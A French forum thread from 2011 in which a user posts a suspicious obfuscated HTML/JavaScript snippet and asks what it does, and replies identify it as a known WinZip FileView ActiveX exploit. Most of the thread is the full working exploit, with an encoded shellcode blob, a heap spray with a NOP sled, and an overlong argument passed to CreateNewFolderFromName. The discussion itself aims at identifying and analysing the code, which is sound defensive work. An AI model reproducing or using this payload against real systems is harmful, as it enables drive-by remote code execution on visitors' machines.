Un script Suspect

**le Mer Juin 08, 2011 22:42**

Salutations, je recherche quelqu'un qui puisse m'aider à identifier ce code, j'ai beau chercher je ne vois pas la finalitée...

merci par avance :wink:

Code: Tout sélectionner: <html> <object id='QrpCQhdCXIcZUqbjAjdjbVhPJZpAFRnOGRxDXdBnWbcDsZUyRZfyvrPBwvsuY' classid='clsid:A09AE68F-B14D-43ED-B713-BA413F034904'></object> <script language="JavaScript"> function stPsxdcTClOroJRQF() { var lHSsvlzGvbsKeuHyTXavOmkyuEJJyMFyQFJecwhzQNTQnIdMjLKsrqBFbjzpeCPJfwvJHfoDp = unescape('%u0c3f%ud438%ua9b4%u377e%ubb67%ue219%u8843%u3cd6%uf91b%u037f%ubafd%ua866%uf889%ub8b3%ufe01%uc0c6%uc7ff%uebc1%ub61c%u2c7d%u9f93%u2f73%u1db1%ub7be%u1527%u2025%u30e3%ubffc%u784a%u9646%u2b40%ud5d0%u0490%u4876%u717b%u994b%u4f14%ue121%u754e%u2435%u7634%u233c%u8cd4%ue1d2%u7a71%u9b2c%ub4b5%u2974%u15e0%u9896%ueb02%u7d3f%u487e%u9127%u3742%u490d%u2db3%u3524%u6770%u34bf%u3b7b%u66fd%uf586%u137c%ud6f6%uba46%u7514%u4b73%u7840%u1d3d%u4e99%u43b0%u2272%ub6f9%u3a97%u8dd5%u9290%u4779%u327f%u41f8%ue318%u1c77%u4fa9%ub12f%u050c%u0425%u2abe%ubbfc%ub7a8%u9f93%ub2b9%ub84a%ue283%u7d7b%u774e%u7e78%ufd6b%u7293%u1043%u79f5%ub046%u3171%u39f8%u73eb%u0d0c%u99b7%ue085%ud408%u0447%u247f%ubebb%u757a%ud312%u27e3%ud10a%u0be1%ue2f7%u6967%u97d6%ua84a%u7c98%u7605%u742c%ub566%u35ba%u4270%ub22f%u901d%u9ba9%u493f%u968d%u3c40%ub8b4%u3341%u2dd5%u9248%uf980%ufc84%ub925%u14b1%u9fbf%ub63d%u4b34%u4f15%u911c%u37b3%u7172%ufe28%ue3c1%u8d4a%u92be%u7c25%u353c%u667e%u7b98%ub14b%u7976%ub32f%uf51a%uf931%ub934%u400c%u48b8%u9ba9%ufc81%u49bb%ub2bf%u027a%u47fd%u0b70%u96d5%u4177%uf711%u3ad6%u46e2%u994f%u2427%ue009%u4374%u7597%u6742%u37ba%u19a8%u3de1%u0590%u1db6%ub0b4%u0104%u3beb%u15d4%u2c78%u912d%ub7b5%u7d9f%u894e%u1cf8%u730d%u147f%u933f%u767d%u7972%ud510%u429b%u257f%u8d2d%ub2b8%uba4a%ub1b6%u40b9%u4977%ubb15%u0c7b%ud028%u14e2%ue085%u2f75%ud681%ue120%ube24%uf61b%u37d4%u9899%u932c%u27b3%u90b4%ue339%u974e%u4b46%u9635%u9241%u041d%u3470%u43b7%u2bbf%u7afc%uf921%u8305%ua8fd%u80a9%u73eb%ub566%u7167%u780d%u3c74%u1291%u3df5%ub01c%u4f3f%u697e%u9ff8%u4847%u4e7c%u7c49%u7d70%u7443%u8842%u18e3%u75fd%u7278%u2a1c%u22e0%u4fe1%ub397%u4877%u3cba%ub5b6%ufc33%u91bb%u8627%ub2d6%u7e92%u6b73%ub0f5%u7a90%u4066%u9924%ueb8c%ube05%u47b8%u9841%u719b%u0d76%u23b1%u84d4%ud5c0%ub99f%u8d14%u3f7b%ua925%u3893%uf8d2%ud387%u13e2%u15f9%u6779%ub74b%u7f04%u462c%u4a7f%u3070%uebd1%ubf2d%u0a7d%u3de2%u1d74%u347b%u7696%ue029%u7135%u7a2f%u7937%ua80c%u7cb4%ue31a%u470c%u729b%u2c41%u0de1%u2578%u4b40%ub4a8%ub643%u277e%ub99f%u0375%ubff5%u974e%u4642%u0535%u1d49%u9896%u32bb%uf9d5%u733c%u0804%u34d6%u9993%u4f8d%ub0fd%ub291%u14b3%u3d92%u1577%u242d%u2f37%ud4f8%u1cb5%uba90%u67b7%ub8a9%ubeb1%u3f48%u4a66%ud9fc%ubfcc%u36e3%u2e1c%u74d9%uf424%u3158%ub1c9%u3149%u1978%u7803%u8319%ufce8%uc301%uc6e0%u2c4c%u1719%ua42e%u26fc%ud27c%u1a75%u90b0%u97d8%uf43b%u2cc8%ud149%u85ff%u07e7%u1531%u87c6%ud59d%u7449%u09dc%u45a9%u5c2f%u82a8%uaf52%u5bf8%u0218%ue8ec%u9f5c%u3f0d%u9feb%u3a75%u6b2c%u45cf%uc47d%u0d44%u6e65%uae02%ua394%u9251%uc8df%u60a1%u18de%u89f8%u64d0%ub456%u68dc%uf0a7%u92db%u0ad2%u2e18%uc8e4%uf462%ucd61%u7fc5%u35d1%uacf7%ube87%u19fb%u99cc%u9f1f%u9201%u1424%u75a4%u6ead%u5182%u35f5%uc0ab%u9b53%u13d4%u443b%u5f70%u91ae%u0202%u56a7%ubd38%uf137%uce4b%u5e05%u58e7%u1726%u9e21%u0249%u3095%uadb4%u19e5%uf973%u31b5%u8252%uc25e%u575b%u92f0%u08f3%u42b0%uf8b4%u8958%u263b%ub278%u4f91%u4812%ub072%u524a%u5889%u5388%u4592%ub505%u65c6%u6d43%u1f7f%ue5ce%ue01e%u83c5%u6a21%u74e9%u9bef%u6684%u6b98%ud5d3%u730f%u70ce%ue1b0%ud2f4%u9de7%u03f6%u01cf%u6609%u8b5b%uc99f%uf434%uca4f%ua2c4%uca05%u12ac%u997d%u5cc9%u8da8%uc941%ue452%u5a36%u0a3a%uac60%uf5e5%u2c47%u23da%uaaae%u462a%u76c2'); var qXvpFEkqrriJhnbXRFIlFialNkUxWezWZOvDpSQVFAIeLPzsnlNevaWGJdcsslcRnuZVBVMdxXImMinXCRYHIhF = unescape('%0c%0c%0c%0c'); var adzc = 20; var fYdyHdqTQLaWjvbDrWQRXzpfqjOuRxFcLqqhoziEaUCUCfjXCjCHBUpnBdXcsDDhuqFFHlALnMgOQlQzwira = adzc + lHSsvlzGvbsKeuHyTXavOmkyuEJJyMFyQFJecwhzQNTQnIdMjLKsrqBFbjzpeCPJfwvJHfoDp.length; while (qXvpFEkqrriJhnbXRFIlFialNkUxWezWZOvDpSQVFAIeLPzsnlNevaWGJdcsslcRnuZVBVMdxXImMinXCRYHIhF.length < fYdyHdqTQLaWjvbDrWQRXzpfqjOuRxFcLqqhoziEaUCUCfjXCjCHBUpnBdXcsDDhuqFFHlALnMgOQlQzwira) qXvpFEkqrriJhnbXRFIlFialNkUxWezWZOvDpSQVFAIeLPzsnlNevaWGJdcsslcRnuZVBVMdxXImMinXCRYHIhF += qXvpFEkqrriJhnbXRFIlFialNkUxWezWZOvDpSQVFAIeLPzsnlNevaWGJdcsslcRnuZVBVMdxXImMinXCRYHIhF; var uDovcCUwYEeMoDBVRdbUcQVjvGiGfRAIEfrCxCtZFHEowTCEiHIRwxQTXXdRxvmiGjJsrCeRHelHMZmT = qXvpFEkqrriJhnbXRFIlFialNkUxWezWZOvDpSQVFAIeLPzsnlNevaWGJdcsslcRnuZVBVMdxXImMinXCRYHIhF.substring(0,fYdyHdqTQLaWjvbDrWQRXzpfqjOuRxFcLqqhoziEaUCUCfjXCjCHBUpnBdXcsDDhuqFFHlALnMgOQlQzwira); var xbkERdFFZZMmOCyPufLkQRllYqOVNnpuPgRmjRmUwuTAVXIZspSDxrCyRydDoaqyxdKwvaclnX = qXvpFEkqrriJhnbXRFIlFialNkUxWezWZOvDpSQVFAIeLPzsnlNevaWGJdcsslcRnuZVBVMdxXImMinXCRYHIhF.substring(0,qXvpFEkqrriJhnbXRFIlFialNkUxWezWZOvDpSQVFAIeLPzsnlNevaWGJdcsslcRnuZVBVMdxXImMinXCRYHIhF.length - fYdyHdqTQLaWjvbDrWQRXzpfqjOuRxFcLqqhoziEaUCUCfjXCjCHBUpnBdXcsDDhuqFFHlALnMgOQlQzwira); while (xbkERdFFZZMmOCyPufLkQRllYqOVNnpuPgRmjRmUwuTAVXIZspSDxrCyRydDoaqyxdKwvaclnX.length + fYdyHdqTQLaWjvbDrWQRXzpfqjOuRxFcLqqhoziEaUCUCfjXCjCHBUpnBdXcsDDhuqFFHlALnMgOQlQzwira < 0x40000) xbkERdFFZZMmOCyPufLkQRllYqOVNnpuPgRmjRmUwuTAVXIZspSDxrCyRydDoaqyxdKwvaclnX = xbkERdFFZZMmOCyPufLkQRllYqOVNnpuPgRmjRmUwuTAVXIZspSDxrCyRydDoaqyxdKwvaclnX + xbkERdFFZZMmOCyPufLkQRllYqOVNnpuPgRmjRmUwuTAVXIZspSDxrCyRydDoaqyxdKwvaclnX + uDovcCUwYEeMoDBVRdbUcQVjvGiGfRAIEfrCxCtZFHEowTCEiHIRwxQTXXdRxvmiGjJsrCeRHelHMZmT; var glSechdmkylWfsfKYoXdoSjpDkmptecbLnDFAetlZcUtHjBPMDBjdWgImFEDFYdAgaxoKwtFqVUJHDzDCjbXRWHOjrOapfwiSLk = new Array(); for (ZSloBdpATcFTxO = 0; ZSloBdpATcFTxO < 800; ZSloBdpATcFTxO++){ glSechdmkylWfsfKYoXdoSjpDkmptecbLnDFAetlZcUtHjBPMDBjdWgImFEDFYdAgaxoKwtFqVUJHDzDCjbXRWHOjrOapfwiSLk[ZSloBdpATcFTxO] = xbkERdFFZZMmOCyPufLkQRllYqOVNnpuPgRmjRmUwuTAVXIZspSDxrCyRydDoaqyxdKwvaclnX + lHSsvlzGvbsKeuHyTXavOmkyuEJJyMFyQFJecwhzQNTQnIdMjLKsrqBFbjzpeCPJfwvJHfoDp } var IAQKnOtwDcSarKlRvuwMKEwjQsUoWjfFARQBWAGFYiMmVuybsI = "A"; for (ZSloBdpATcFTxO = 0; ZSloBdpATcFTxO < 1024; ZSloBdpATcFTxO++) { IAQKnOtwDcSarKlRvuwMKEwjQsUoWjfFARQBWAGFYiMmVuybsI = IAQKnOtwDcSarKlRvuwMKEwjQsUoWjfFARQBWAGFYiMmVuybsI + qXvpFEkqrriJhnbXRFIlFialNkUxWezWZOvDpSQVFAIeLPzsnlNevaWGJdcsslcRnuZVBVMdxXImMinXCRYHIhF } QrpCQhdCXIcZUqbjAjdjbVhPJZpAFRnOGRxDXdBnWbcDsZUyRZfyvrPBwvsuY.CreateNewFolderFromName(IAQKnOtwDcSarKlRvuwMKEwjQsUoWjfFARQBWAGFYiMmVuybsI); } if ((typeof QrpCQhdCXIcZUqbjAjdjbVhPJZpAFRnOGRxDXdBnWbcDsZUyRZfyvrPBwvsuY.CreateNewFolderFromName) != "undefined") { stPsxdcTClOroJRQF(); } </script> </html>

**le Mer Juin 08, 2011 23:19**

Si c'est pas toi qui l'a mis, je pense que c'est un hack
Si c'est toi qui veut le mettre et que tu le prends sur un site propre, c'est juste du code encodé (pour limiter les vols de sources)

**le Mer Juin 08, 2011 23:28**

Il s'agit en fait d'un code malicieux qui une vielle faille

http://www.metasploit.com/modules/exploit/windows/browser/winzip_fileview

J'ai trouvé ca à partir d'ici, mais pour comprendre la logique du code :roll:

**le Mer Juin 08, 2011 23:41**

Le soucis c'est que c'est assez lourd de le décoder sans l'interprété.
Faudrait unescape les string voir ce que ça donne.

Un script Suspect

Un script Suspect

Re: Un script Suspect

Re: Un script Suspect

Re: Un script Suspect

Lectures recommandées sur ce thème :

Qui est en ligne